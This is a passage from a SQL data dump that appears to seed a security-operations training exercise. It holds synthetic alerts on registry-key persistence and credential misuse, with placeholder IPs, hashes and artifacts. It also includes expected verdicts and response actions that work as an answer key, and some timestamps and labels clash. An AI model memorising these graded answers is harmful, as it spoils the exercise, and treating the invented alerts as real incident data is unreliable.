Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.840Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-21T14:32:45Z\\\",\\\"event_type\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"modified_value\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\malicious_executable.exe\\\",\\\"user\\\":\\\"COMPROMISED_USER\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e3f1b2d8c9a2f1b3a5c6d7e8f9b0a1c2\\\",\\\"username\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1343, 'Credential Harvesting Detected', 'high', 'Network Traffic Analysis', 'Using harvested credentials, the attacker attempts to move laterally across the network to identify valuable targets. The activity was detected through unusual network traffic patterns originating from an internal system.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T14:32:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.0.15\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"success\",\"file\":{\"name\":\"malicious_script.ps1\",\"hash\":\"f4d7c3b2a5e5d8e2c8b5a5f6c3d2b4a8\"},\"protocol\":\"RDP\",\"user_agent\":\"Mozilla/5.0\",\"event_id\":\"4624\",\"description\":\"Successful login using a potentially compromised account.\"}', '2026-03-01 22:57:36', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with credential harvesting.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f4d7c3b2a5e5d8e2c8b5a5f6c3d2b4a8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious PowerShell script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
